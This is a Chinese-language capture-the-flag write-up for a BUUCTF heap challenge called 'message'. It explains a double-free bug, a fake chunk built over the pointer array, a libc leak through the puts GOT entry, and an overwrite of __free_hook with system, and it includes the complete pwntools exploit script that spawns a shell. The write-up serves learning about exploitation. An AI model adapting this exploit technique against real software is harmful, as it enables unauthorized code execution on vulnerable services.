下载 exeinfo checksec:
64位 IDA64 mian函数:
将函数功能标记后:
是一个堆题
观察到在释放堆的函数里,没有将指针清零:
想到有double free 漏洞
free时的ptr变量在0x602060的位置
如果double free之后 再申请一个大小相同的堆 ptr所在的位置往前移8字节(0x602058) 假设以此处为假chunk头
那么ptr就是该chunk对应的内容
再通过给出的函数就能修改假chunk的内容
图示:
----------------------------------
0x602058
假chunk的prev_size
0x602060
假chunk的size
0x602068
假chunk的内容区域
...
----------------------------------
同时 看到程序开启了FULL RELRO GOT表不可写
所以使用 __free_hook
利用freehook不为空的时候会执行freehook的原理
将其指向system 在free时就会执行system()
创建两个0x20的堆 gdb调试一下:
看到实际大小是0x30
如果需要绕过fastbin对两次free的检查 就需要提前再设置一个0x30大小的堆 来让接下来的创建堆能顺利创建到假chunk的位置
那么接下来就是泄露got地址 得到libc基址 得到freehook地址 再让freehook指向system(先将chunk6改为freehook地址 再利用chunk0 改为system)
exp:
from pwn import *
from LibcSearcher import *
p = process('./message')
#p = remote("node5.buuoj.cn", 28538)
elf = ELF('./message')
context.log_level = 'debug'
def add(size, message):
p.sendlineafter(b"choice: ", b'1')
p.sendlineafter(b'message:\n', str(size))
p.sendafter(b'message:\n' , message)
def delete(index):
p.sendlineafter(b'choice: ' , b'2')
p.sendlineafter(b'delete:\n' , str(index))
def edit(index,message):
p.sendlineafter(b'choice: ' , b'3')
p.sendlineafter(b'edit:\n' , str(index))
p.sendafter(b'message:\n' , message)
def show(index):
p.sendlineafter(b'choice: ' , b'4')
p.sendlineafter(b'display:\n' , str(index))
add(0x30, b'aaaa') #chunk0
add(0x20, b'aaaa') #chunk1
add(0x20, b'aaaa') #chunk2
#gdb.attach(p)
#pause()
delete(1)
delete(2)
delete(1)
puts_got = elf.got['puts']
fake = 0x602060 - 0x8
add(0x20, p64(fake)) #chunk3 -> 1
add(0x20, b'bbbb') #chunk4 -> 2
add(0x20, b'cccc') #chunk5 -> 1
add(0x20, p64(puts_got)) #chunk6 -> fake
show(0)
p.recvuntil(b'message: ')
puts = u64(p.recv(6).ljust(8,b'\0'))
print(hex(puts))
#libc = ELF('./libc-2.23.so')
#base = puts - libc.symbols['puts']
#system = base + libc.symbols['system']
#free_hook = base + libc.symbols['__free_hook']
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
system = base + libc.dump('system')
free_hook = base + libc.dump('__free_hook')
edit(6, p64(free_hook))
edit(0, p64(system))
add(0x8, b'/bin/sh\x00') #chunk7
delete(7)
p.interactive()
由于线上版本是2.27的libc 所以用2.23的libc版本本地运行 得到flag:
看了很久的相关视频 恐怕还没彻底搞明白。。